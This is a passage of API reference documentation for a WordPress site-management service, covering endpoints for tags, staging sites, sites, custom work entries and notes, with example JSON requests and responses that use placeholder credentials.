- **204** — Tag deleted successfully. No response body is returned.

Errors: 401, 403, 404, 422, 429

#### Update tag

`POST /tags/{tag_id}/update`  
Operation ID: `updateTag`

Updates a tag's display name, color, or both.

Use this when a tag needs a clearer name or display color.

A successful response returns the updated tag with its assigned site IDs.

Parameters:

- `tag_id` (path, required, string) — Tag ID returned in tag lists and details. Tag IDs are numeric strings.

Request body (required): `application/json`

Required fields: `tag`

```json
{
  "tag": {
    "name": "Staging",
    "color": "#ff9900"
  }
}
```

Successful responses:

- **200** — Tag updated successfully.

```json
{
  "tag": {
    "id": "428",
    "name": "Staging",
    "color": "#ff9900",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-15T10:00:00Z",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ]
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Assign tag to sites

`POST /tags/{tag_id}/assign`  
Operation ID: `assignTag`

Assigns one tag to selected WordPress sites available to you.

Use this to add selected sites to the group represented by the tag.

Sites that already have the maximum number of tags are reported in
`assign.errors`.

A successful response returns assigned site IDs, any site-level errors,
and result counts.

Parameters:

- `tag_id` (path, required, string) — Tag ID returned in tag lists and details. Tag IDs are numeric strings.

Request body (required): `application/json`

Required fields: `site_ids`

```json
{
  "site_ids": [
    "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "a4d8f2c1b6e94d0a8f73c2e5d1b9a604"
  ]
}
```

Successful responses:

- **200** — Tag assignment processed successfully.

```json
{
  "assign": {
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "a4d8f2c1b6e94d0a8f73c2e5d1b9a604"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Remove tag from sites

`POST /tags/{tag_id}/remove`  
Operation ID: `removeTag`

Removes one tag from selected WordPress sites available to you.

Use this to remove selected sites from the group represented by the tag.

A successful response returns processed site IDs and result counts.

Parameters:

- `tag_id` (path, required, string) — Tag ID returned in tag lists and details. Tag IDs are numeric strings.

Request body (required): `application/json`

Required fields: `site_ids`

```json
{
  "site_ids": [
    "9bf3c2e7a1b24c6d8e9f0123456789ab"
  ]
}
```

Successful responses:

- **200** — Tag removal processed successfully.

```json
{
  "remove": {
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Staging

#### List staging sites

`GET /staging-sites`  
Operation ID: `listStagingSites`

Returns staging sites for WordPress sites available to you. Each item
shows the live site it was created from, current status, URL, expiry
time, PHP version, and creator details.

Use this list to find a staging site to inspect, check which staging
sites are ready to use, or see which ones are nearing expiry.

A successful response returns a paginated list of staging sites.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `status`, `site_id`, `created_at`, `updated_at`, `expires_at`
- Supported operators:
  - `eq`: `status`, `site_id`
  - `gte`: `created_at`, `updated_at`, `expires_at`
  - `lte`: `created_at`, `updated_at`, `expires_at`
- Supported status values for matching: `initializing`, `active`, `paused`, `suspended`
- Use ISO 8601 timestamps for `created_at`, `updated_at`, and `expires_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[status:eq]=active`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `expires_at`, `php_version`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned staging sites.
- `filters` (query, optional, object) — Filters applied to returned staging sites.

Successful responses:

- **200** — Staging sites returned successfully.

```json
{
  "staging_sites": [
    {
      "id": "qW6nR9xK2mL4pJ8vT3hY7bFd",
      "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "status": "active",
      "url": "https://staging-example-com-1.flavor.press",
      "created_at": "2026-01-10T10:00:00Z",
      "updated_at": "2026-01-12T08:30:00Z",
      "expires_at": "2026-02-10T10:00:00Z",
      "php_version": "8.2",
      "user": {
        "name": "Admin Doe",
        "email": "admin@example.com"
      }
    },
    {
      "id": "mL8pQ2xZr5nVt4sKy7hFc9dA",
      "site_id": "7af4d2c9e8b14560a3c7f91d2e4b8a6c",
      "status": "paused",
      "url": "https://staging-example-com-2.flavor.press",
      "created_at": "2026-01-08T11:20:00Z",
      "updated_at": "2026-01-11T07:45:00Z",
      "expires_at": "2026-02-08T11:20:00Z",
      "php_version": "8.1",
      "user": {
        "name": "Sam Lee",
        "email": "sam@example.com"
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Create staging site

`POST /staging-sites`  
Operation ID: `createStagingSite`

Starts creating a staging site from a completed backup snapshot of a
live site.

Use this when you need an isolated copy of a site to test updates,
fixes, or other changes before applying them to the live site.

A successful response returns the task created for staging site
creation. Use the returned task ID with Tasks to check progress. After
the task succeeds, list staging sites to find the new staging site and
view its details.

Request body (required): `application/json`

Required fields: `staging_site`

```json
{
  "staging_site": {
    "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2",
    "php_version": "8.2",
    "options": {
      "real_time_events": {
        "enabled": true,
        "until": "2026-01-10T09:00:00Z"
      }
    }
  }
}
```

Successful responses:

- **201** — Staging site creation started successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-10T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show staging site

`GET /staging-sites/{staging_site_id}`  
Operation ID: `showStagingSite`

Returns one staging site with the backup snapshot used to create it and
the credentials needed to access it.

Use this when you need to inspect a staging site's current status,
expiry, PHP version, snapshot, and connection details.

A successful response returns the staging site.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.

Successful responses:

- **200** — Staging site returned successfully.

```json
{
  "staging_site": {
    "id": "qW6nR9xK2mL4pJ8vT3hY7bFd",
    "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "status": "active",
    "url": "https://staging-example-com-1.flavor.press",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-12T08:30:00Z",
    "expires_at": "2026-02-10T10:00:00Z",
    "php_version": "8.2",
    "user": {
      "name": "Admin Doe",
      "email": "admin@example.com"
    },
    "snapshot": {
      "id": "65a8f4c2d1b3e7f9a0c5d8e2",
      "created_at": "2026-01-09T10:00:00Z"
    },
    "credentials": {
      "http_auth": {
        "username": "staging-user",
        "password": "generated-password"
      },
      "server": {
        "protocol": "sftp",
        "host": "203.0.113.10",
        "port": 22,
        "username": "stg_example",
        "password": "sftp-password"
      },
      "database": {
        "host": "10.0.0.12",
        "port": 3306,
        "name": "bv_db_example",
        "username": "stg_example",
        "password": "mysql-password"
      }
    }
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Delete staging site

`DELETE /staging-sites/{staging_site_id}`  
Operation ID: `deleteStagingSite`

Deletes a staging site.

Use this when the staging copy is no longer needed for testing or
review.

A successful response returns no response body.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.

Successful responses:

- **204** — Staging site deleted successfully. No response body is returned.

Errors: 401, 403, 404, 422, 429

#### Extend staging site expiry

`POST /staging-sites/{staging_site_id}/extend-expiry`  
Operation ID: `extendStagingSiteExpiry`

Extends a staging site's expiry by the requested number of days.

Use this when a staging site needs to remain available for longer while
staying within your account's staging expiry limit.

A successful response returns the updated staging site.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.

Request body (required): `application/json`

Required fields: `days`

```json
{
  "days": 14
}
```

Successful responses:

- **200** — Staging site expiry extended successfully.

```json
{
  "staging_site": {
    "id": "qW6nR9xK2mL4pJ8vT3hY7bFd",
    "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "status": "active",
    "url": "https://staging-example-com-1.flavor.press",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-12T08:30:00Z",
    "expires_at": "2026-02-17T10:00:00Z",
    "php_version": "8.2",
    "user": {
      "name": "Admin Doe",
      "email": "admin@example.com"
    },
    "snapshot": {
      "id": "65a8f4c2d1b3e7f9a0c5d8e2",
      "created_at": "2026-01-09T10:00:00Z"
    },
    "credentials": {
      "http_auth": {
        "username": "staging-user",
        "password": "generated-password"
      },
      "server": {
        "protocol": "sftp",
        "host": "203.0.113.10",
        "port": 22,
        "username": "stg_example",
        "password": "sftp-password"
      },
      "database": {
        "host": "10.0.0.12",
        "port": 3306,
        "name": "bv_db_example",
        "username": "stg_example",
        "password": "mysql-password"
      }
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Resume staging site

`POST /staging-sites/{staging_site_id}/resume`  
Operation ID: `resumeStagingSite`

Resumes a paused staging site.

Use this when a paused staging site needs to become active again.

A successful response returns the staging site with `status: active`.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.

Successful responses:

- **200** — Staging site resumed successfully.

```json
{
  "staging_site": {
    "id": "qW6nR9xK2mL4pJ8vT3hY7bFd",
    "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "status": "active",
    "url": "https://staging-example-com-1.flavor.press",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-12T08:30:00Z",
    "expires_at": "2026-02-10T10:00:00Z",
    "php_version": "8.2",
    "user": {
      "name": "Admin Doe",
      "email": "admin@example.com"
    },
    "snapshot": {
      "id": "65a8f4c2d1b3e7f9a0c5d8e2",
      "created_at": "2026-01-09T10:00:00Z"
    },
    "credentials": {
      "http_auth": {
        "username": "staging-user",
        "password": "generated-password"
      },
      "server": {
        "protocol": "sftp",
        "host": "203.0.113.10",
        "port": 22,
        "username": "stg_example",
        "password": "sftp-password"
      },
      "database": {
        "host": "10.0.0.12",
        "port": 3306,
        "name": "bv_db_example",
        "username": "stg_example",
        "password": "mysql-password"
      }
    }
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Update staging PHP version

`POST /staging-sites/{staging_site_id}/update-php-version`  
Operation ID: `updateStagingSitePhpVersion`

Starts a task to change the PHP version used by the staging site.

Use this when the staging site needs to run on a different supported PHP
version.

A successful response returns the task created for the PHP version
update. Use the returned task ID with Tasks to check status.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.

Request body (required): `application/json`

Required fields: `staging_site`

```json
{
  "staging_site": {
    "php_version": "8.3"
  }
}
```

Successful responses:

- **200** — PHP version update started successfully.

```json
{
  "task": {
    "id": "8f4b2c7e1a9d3f6b5c2e8a7d4f1b9c6e",
    "status": "queued",
    "created_at": "2026-01-10T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Start staging site download

`POST /staging-sites/{staging_site_id}/download`  
Operation ID: `downloadStagingSite`

Starts a task to generate a download package for staging site files,
database, or both.

Use this when you need a copy of the staging site's files or database.

A successful response returns the task created for the staging site
download. Use the returned task ID with Tasks to check status.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.

Request body (required): `application/json`

Required fields: `download`

```json
{
  "download": {
    "scope": {
      "include_files": true,
      "include_database": true
    }
  }
}
```

Successful responses:

- **200** — Staging site download started successfully.

```json
{
  "task": {
    "id": "9a6c3e8f2b5d4a7c1e9f6b3d8a2c5e7f",
    "status": "queued",
    "created_at": "2026-01-10T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Generate staging site WordPress SSO login URL

`GET /staging-sites/{staging_site_id}/wp/users/sso-login-url`  
Operation ID: `generateStagingSiteWpSsoLoginUrl`

Generates a temporary URL that signs in to WordPress admin for the
staging site.

Use this URL to open WordPress admin without manually entering staging
WordPress credentials.

If `wp_object_id` is omitted, the default admin user for the source site
is selected. If `wp_object_id` is present and not blank, it must be an
integer WordPress user ID.

A successful response returns the generated URL.

Parameters:

- `staging_site_id` (path, required, string) — Staging site ID returned in staging site lists and details.
- `wp_object_id` (query, optional, string) — Optional WordPress user ID to log in as. Omit or send blank to use the default login user; non-blank values must contain only digits.

Successful responses:

- **200** — WordPress SSO login URL generated successfully.

```json
{
  "url": "https://staging-user:generated-password@staging-example-com-1.flavor.press/wp-admin/"
}
```

Errors: 400, 401, 403, 404, 422, 429

### Sites

#### List sites

`GET /sites`  
Operation ID: `listSites`

Returns WordPress sites available to you with their URL, connection and
sync status, assigned client and tags, backup and security status, server
details, and WordPress update summary.

Use this list to review sites, find a site to inspect or update, or
filter sites by status, assigned client, tags, or PHP version.

A successful response returns a paginated list of sites.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `id`, `url`, `created_at`, `updated_at`, `last_sync_at`, `paused`, `security`, `backups`, `performance`, `connection_status`, `client_id`, `uptime`, `scanner_status`, `locked`, `tags`, `php_version`
- Supported operators:
  - `eq`: `id`, `paused`, `security`, `backups`, `performance`, `connection_status`, `client_id`, `uptime`, `scanner_status`, `locked`, `php_version`
  - `contains`: `url`
  - `gte`: `created_at`, `updated_at`, `last_sync_at`
  - `lte`: `created_at`, `updated_at`, `last_sync_at`
  - `in`: `tags`
  - `gt`: `php_version`
  - `lt`: `php_version`
- Boolean filters accept `true` or `false`
- `connection_status:eq` accepts `connected` and `disconnected`
- `scanner_status:eq` accepts `clean` and `hacked`
- Use ISO 8601 timestamps for `created_at`, `updated_at`, and `last_sync_at` filters
- `timezone` applies to `created_at`, `updated_at`, and `last_sync_at` filters
- `tags:in` must use array syntax, for example `filters[tags:in][]=428`
- `php_version` values must use `major`, `major.minor`, or `major.minor.patch` format
- Example: `filters[backups:eq]=true`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `url`, `last_sync_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned sites.
- `filters` (query, optional, object) — Filters applied to returned sites.

Successful responses:

- **200** — Sites returned successfully.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://example.com",
      "home_url": "https://example.com",
      "created_at": "2026-01-10T10:00:00Z",
      "updated_at": "2026-01-12T08:30:00Z",
      "client": {
        "id": "fT9nK3xR7mL5pQ2vW8hY6bFd",
        "first_name": "John",
        "last_name": "Client",
        "email": "client@example.com",
        "company_name": "Example Co"
      },
      "tags": [
        {
          "id": "428",
          "name": "Production"
        }
      ],
      "connection": {
        "status": "connected"
      },
      "server": {
        "hosting": "cloudways",
        "mysql_version": "8.0",
        "php_version": "8.2"
      },
      "sync": {
        "last_sync_at": "2026-01-12T08:20:00Z",
        "next_sync_at": "2026-01-13T08:20:00Z",
        "last_sync_status": "succeeded",
        "last_sync_error": null,
        "interval": "24h",
        "daily_sync_time": "08:00:00Z",
        "paused": false,
        "in_progress": false
      },
      "security": {
        "enabled": true,
        "scanner": {
          "status": "clean",
          "malware_detected_at": null,
          "interval": "24h",
          "last_check_at": "2026-01-12T08:20:00Z",
          "next_check_at": "2026-01-13T08:20:00Z",
          "detections": {
            "files": 0,
            "scripts": 0,
            "cron_jobs": 0
          }
        },
        "firewall": {
          "enabled": true,
          "mode": "protect",
          "advanced": true,
          "bot_protection": {
            "enabled": false
          }
        }
      },
      "backups": {
        "enabled": true,
        "real_time": false,
        "available_snapshots": 12,
        "retention_days": 30,
        "latest_snapshot": {
          "id": "65a8f4c2d1b3e7f9a0c5d8e2",
          "created_at": "2026-01-12T08:20:00Z",
          "status": "succeeded"
        }
      },
      "performance": {
        "enabled": false
      },
      "uptime": {
        "enabled": true,
        "status": "up"
      },
      "analytics": {
        "enabled": true
      },
      "activity_logs": {
        "enabled": true
      },
      "wp": {
        "core": {
          "current_version": "6.5.3",
          "latest_version": "6.5.5",
          "update_available": true,
          "locked": false
        },
        "default_wp_object_id": 42
      },
      "screenshot": {
        "thumbnail_url": "https://example.com/thumb.jpg",
        "updated_at": "2026-01-12T08:30:00Z"
      },
      "locked": false,
      "multisite": false
    },
    {
      "id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604",
      "title": "Storefront",
      "url": "https://store.example.com",
      "home_url": "https://store.example.com",
      "created_at": "2026-01-09T08:00:00Z",
      "updated_at": "2026-01-11T07:30:00Z",
      "client": {
        "id": "kL4pQ8vT2hY6bFd9nR3xM7wJ",
        "first_name": "Maya",
        "last_name": "Store",

…
```

Errors: 400, 401, 403, 429

#### Create site

`POST /sites`  
Operation ID: `createSite`

Creates a WordPress site in your account. Include connection settings
only when the site needs a sticky IP or HTTP basic auth.

Use this when adding a site that should be managed from your account.

A successful response returns the created site with its site ID, URL,
connection status, and timestamps.

Request body (required): `application/json`

Required fields: `site`

```json
{
  "site": {
    "url": "https://example.com",
    "connection": {
      "sticky_ip": "192.168.1.1",
      "http_auth": {
        "username": "admin",
        "password": "example-password"
      }
    }
  }
}
```

Successful responses:

- **201** — Site created successfully.

```json
{
  "site": {
    "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "url": "https://example.com",
    "connection": {
      "status": "disconnected"
    },
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-10T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show site

`GET /sites/{site_id}`  
Operation ID: `showSite`

Returns the selected site with its URL, connection and sync status,
assigned client and tags, backup and security status, server
details, WordPress update summary, screenshot URLs, and health details.

Use this when you need full status and saved connection details for the
selected site.

The response includes sticky IP and HTTP basic auth credentials when
they are configured.

A successful response returns the requested site.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Site returned successfully.

```json
{
  "site": {
    "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "title": "Example Site",
    "url": "https://example.com",
    "home_url": "https://example.com",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-12T08:30:00Z",
    "client": {
      "id": "fT9nK3xR7mL5pQ2vW8hY6bFd",
      "first_name": "John",
      "last_name": "Client",
      "email": "client@example.com",
      "company_name": "Example Co"
    },
    "tags": [
      {
        "id": "428",
        "name": "Production"
      }
    ],
    "connection": {
      "status": "connected",
      "sticky_ip": "192.168.1.1",
      "http_auth": {
        "username": "admin",
        "password": "example-password"
      }
    },
    "server": {
      "hosting": "cloudways",
      "mysql_version": "8.0",
      "php_version": "8.2"
    },
    "sync": {
      "last_sync_at": "2026-01-12T08:20:00Z",
      "next_sync_at": "2026-01-13T08:20:00Z",
      "last_sync_status": "succeeded",
      "last_sync_error": null,
      "interval": "24h",
      "daily_sync_time": "08:00:00Z",
      "paused": false,
      "in_progress": false
    },
    "security": {
      "enabled": true,
      "scanner": {
        "status": "clean",
        "malware_detected_at": null,
        "interval": "24h",
        "last_check_at": "2026-01-12T08:20:00Z",
        "next_check_at": "2026-01-13T08:20:00Z",
        "detections": {
          "files": 0,
          "scripts": 0,
          "cron_jobs": 0
        },
        "files": {
          "total": 3692,
          "scanned": 3600
        },
        "database": {
          "total": 20,
          "scanned": 18
        }
      },
      "firewall": {
        "enabled": true,
        "mode": "protect",
        "advanced": true,
        "bot_protection": {
          "enabled": false
        }
      }
    },
    "backups": {
      "enabled": true,
      "real_time": false,
      "available_snapshots": 12,
      "retention_days": 30,
      "latest_snapshot": {
        "id": "65a8f4c2d1b3e7f9a0c5d8e2",
        "created_at": "2026-01-12T08:20:00Z",
        "status": "succeeded"
      },
      "files": {
        "count": {
          "total": 3692,
          "synced": 3600,
          "ignored": 92
        },
        "size": {
          "total": 52428800,
          "synced": 51380224,
          "ignored": 1048576
        }
      },
      "database": {
        "count": {
          "total": 20,
          "synced": 18,
          "ignored": 2
        },
        "size": {
          "total": 1048576,
          "synced": 1048576,
          "ignored": 0
        }
      }
    },
    "performance": {
      "enabled": false
    },
    "uptime": {
      "enabled": true,
      "status": "up"
    },
    "analytics": {
      "enabled": true
    },
    "activity_logs": {
      "enabled": true
    },
    "wp": {
      "core": {
        "current_version": "6.5.3",
        "latest_version": "6.5.5",
        "update_available": true,
        "locked": false,
        "vulnerable": false
     
…
```

Errors: 401, 403, 404, 429

#### Delete site

`DELETE /sites/{site_id}`  
Operation ID: `deleteSite`

Deletes the selected site from your account.

Use this when the site should no longer be managed from your account.

A successful response returns no response body.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **204** — Site deleted successfully. No response body is returned.

Errors: 401, 403, 404, 429

#### Update site

`POST /sites/{site_id}/update`  
Operation ID: `updateSite`

Updates the selected site's URL, sticky IP, HTTP basic auth, or daily
sync time.

Use this when the site's URL, connection settings, or scheduled sync time
needs to change.

A successful response returns the updated site summary.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `site`

```json
{
  "site": {
    "url": "https://updated-example.com",
    "connection": {
      "sticky_ip": null,
      "http_auth": null
    },
    "sync": {
      "daily_sync_time": "08:00:00Z"
    }
  }
}
```

Successful responses:

- **200** — Site updated successfully.

```json
{
  "site": {
    "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "url": "https://updated-example.com",
    "connection": {
      "status": "connected"
    },
    "sync": {
      "daily_sync_time": "08:00:00Z"
    },
    "updated_at": "2026-01-12T08:30:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Start site sync

`POST /sites/{site_id}/sync`  
Operation ID: `syncSite`

Starts an on-demand sync for the selected site.

Use this when you need the latest site snapshot outside the scheduled
sync time.

The site must not be under maintenance, another sync cannot already be
in progress, and the daily sync limit must not be reached.

A successful response returns the started sync snapshot ID with
`in_progress: true`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body: `application/json`

```json
{
  "sync": {
    "message": "Before plugin update"
  }
}
```

Successful responses:

- **200** — Site sync started successfully.

```json
{
  "sync": {
    "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2",
    "in_progress": true
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429

### Custom Works

#### List custom work entries

`GET /sites/{site_id}/custom-works`  
Operation ID: `listSiteCustomWorks`

Returns custom work entries for the selected site.

Use this list to review completed site work, find custom work IDs for
detail, update, or delete requests, or filter work history by title,
description, performed date, created time, or updated time.

A successful response returns a paginated list of custom work entries.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `search`, `title`, `description`, `performed_on`, `created_at`, `updated_at`
- Supported operators:
  - `contains`: `search`, `title`, `description`
  - `eq`: `performed_on`
  - `gte`: `performed_on`, `created_at`, `updated_at`
  - `lte`: `performed_on`, `created_at`, `updated_at`
- `search:contains` searches only `title` and `description`
- `performed_on` filters use `YYYY-MM-DD`. Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[title:contains]=SEO`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `performed_on`, `created_at`, `updated_at`, `title`, `description`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `performed_on,desc`
- Example: `sort=performed_on,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned custom work entries.
- `filters` (query, optional, object) — Filters applied to returned custom work entries.

Successful responses:

- **200** — Custom work entries returned successfully.

```json
{
  "custom_works": [
    {
      "id": "hT5bWx8nKq3mJr6vGs9fYd2a",
      "title": "SEO optimization",
      "description": "Fixed sitemap and schema issues",
      "performed_on": "2026-02-20",
      "created_at": "2026-02-20T10:00:00Z",
      "updated_at": "2026-02-20T10:00:00Z"
    },
    {
      "id": "kM9pQx2vRz4nYw7sBf3cHj8a",
      "title": "Plugin update",
      "description": "Updated plugin settings",
      "performed_on": "2026-02-18",
      "created_at": "2026-02-18T09:30:00Z",
      "updated_at": "2026-02-18T09:30:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

#### Create custom work entries

`POST /sites/{site_id}/custom-works`  
Operation ID: `createSiteCustomWorks`

Creates one or more custom work entries for the selected site.

Use this when completed maintenance, optimizations, fixes, audits, or
other reportable work should be saved against the site.

`custom_works` must be a non-empty array. Each item must be an object
with string `title` and `performed_on` values. `description` is optional,
but must be a string when sent; omit it or send an empty string when
there is no description.

`performed_on` must use `YYYY-MM-DD` and cannot be in the future.
`title` can be up to 150 characters, and `description` can be up to 500
characters.

A successful response returns the created custom work entries.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `custom_works`

```json
{
  "custom_works": [
    {
      "title": "CDN setup",
      "description": "Configured CDN and cache headers",
      "performed_on": "2026-02-21"
    }
  ]
}
```

Successful responses:

- **201** — Custom work entries created successfully.

```json
{
  "custom_works": [
    {
      "id": "kM9pQx2vRz4nYw7sBf3cHj8a",
      "title": "CDN setup",
      "description": "Configured CDN and cache headers",
      "performed_on": "2026-02-21",
      "created_at": "2026-02-21T11:30:00Z",
      "updated_at": "2026-02-21T11:30:00Z"
    }
  ]
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show custom work

`GET /sites/{site_id}/custom-works/{custom_work_id}`  
Operation ID: `showSiteCustomWork`

Returns one custom work entry for the selected site.

Use this when you need the saved details for one work item.

A successful response returns the custom work entry.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `custom_work_id` (path, required, string) — Custom work ID returned in Custom Works responses.

Successful responses:

- **200** — Custom work entry returned successfully.

```json
{
  "custom_work": {
    "id": "hT5bWx8nKq3mJr6vGs9fYd2a",
    "title": "SEO optimization",
    "description": "Fixed sitemap and schema issues",
    "performed_on": "2026-02-20",
    "created_at": "2026-02-20T10:00:00Z",
    "updated_at": "2026-02-20T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Delete custom work

`DELETE /sites/{site_id}/custom-works/{custom_work_id}`  
Operation ID: `deleteSiteCustomWork`

Removes one custom work entry from the selected site.

Use this when a saved work item was added by mistake or should no
longer be kept in the site's work history.

A successful response returns no response body.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `custom_work_id` (path, required, string) — Custom work ID returned in Custom Works responses.

Successful responses:

- **204** — Custom work entry was removed. No response body is returned.

Errors: 401, 403, 404, 429

#### Update custom work

`POST /sites/{site_id}/custom-works/{custom_work_id}/update`  
Operation ID: `updateSiteCustomWork`

Updates one custom work entry for the selected site.

Use this when the title, description, or performed date of a saved work
item needs to change.

Send the fields to change inside the `custom_work` object. Omitted
fields remain unchanged, and at least one supported field is required.

`title`, `description`, and `performed_on` must be strings when sent.
Blank `title` and `performed_on` values are rejected. Send an empty
string for `description` to clear it.

`performed_on` must use `YYYY-MM-DD` and cannot be in the future.
`title` can be up to 150 characters, and `description` can be up to 500
characters.

A successful response returns the updated custom work entry.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `custom_work_id` (path, required, string) — Custom work ID returned in Custom Works responses.

Request body (required): `application/json`

Required fields: `custom_work`

```json
{
  "custom_work": {
    "title": "SEO optimization",
    "description": "Fixed sitemap and schema issues",
    "performed_on": "2026-02-20"
  }
}
```

Successful responses:

- **200** — Custom work entry updated successfully.

```json
{
  "custom_work": {
    "id": "hT5bWx8nKq3mJr6vGs9fYd2a",
    "title": "SEO optimization",
    "description": "Fixed sitemap and schema issues",
    "performed_on": "2026-02-20",
    "created_at": "2026-02-20T10:00:00Z",
    "updated_at": "2026-02-22T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Notes

#### List site notes

`GET /sites/{site_id}/notes`  
Operation ID: `listSiteNotes`

Returns current notes attached to the selected site.

Use this list to review site context, handoff details, reminders, or
work history, and to find note IDs to view, update, remove, or list
versions.

Previous content versions are not included. When `versions.available` is
`true`, note versions can be used to review earlier content.

A successful response returns a paginated list of notes.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `user_email`, `content`, `created_at`, `updated_at`
- Supported operators:
  - `eq`: `user_email`
  - `contains`: `user_email`, `content`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
- `user_email` filters by the associated user's email address
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[user_email:eq]=admin@example.com`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `updated_at`, `created_at`, `content`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `updated_at,desc`
- Example: `sort=updated_at,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
